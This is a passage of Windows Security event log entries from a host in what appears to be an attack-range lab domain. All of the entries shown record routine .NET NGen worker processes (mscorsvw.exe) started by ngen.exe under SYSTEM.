was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254602 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13e4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 564 -InterruptEvent 0 -NGENProcess 5f4 -Pipe 7bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254601 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7cc -InterruptEvent 0 -NGENProcess 318 -Pipe 304 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254600 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1268 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5f4 -InterruptEvent 0 -NGENProcess 408 -Pipe 758 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254599 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x638 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 328 -InterruptEvent 0 -NGENProcess 564 -Pipe 264 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254608 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe80 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2a8 -InterruptEvent 0 -NGENProcess 2dc -Pipe 2e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254607 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1348 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6fc -InterruptEvent 0 -NGENProcess 2ac -Pipe 57c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254606 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 57c -InterruptEvent 0 -NGENProcess 6fc -Pipe 7cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254605 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x102c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 280 -InterruptEvent 0 -NGENProcess 2dc -Pipe 2f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254604 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa08 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6fc -InterruptEvent 0 -NGENProcess 564 -Pipe 318 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254612 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x718 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2cc -InterruptEvent 0 -NGENProcess 640 -Pipe 46c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254611 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf80 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6fc -InterruptEvent 0 -NGENProcess 2a8 -Pipe 324 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254610 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1170 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 46c -InterruptEvent 0 -NGENProcess 2cc -Pipe 280 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254609 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb44 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 324 -InterruptEvent 0 -NGENProcess 6fc -Pipe 650 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254617 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x598 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 634 -InterruptEvent 0 -NGENProcess 78c -Pipe 408 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254616 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb30 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 238 -InterruptEvent 0 -NGENProcess 640 -Pipe 274 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254615 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 2dc -Pipe 350 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254614 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x61c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 254 -InterruptEvent 0 -NGENProcess 640 -Pipe 2b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254613 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2dc -InterruptEvent 0 -NGENProcess 6fc -Pipe 790 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:07 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local 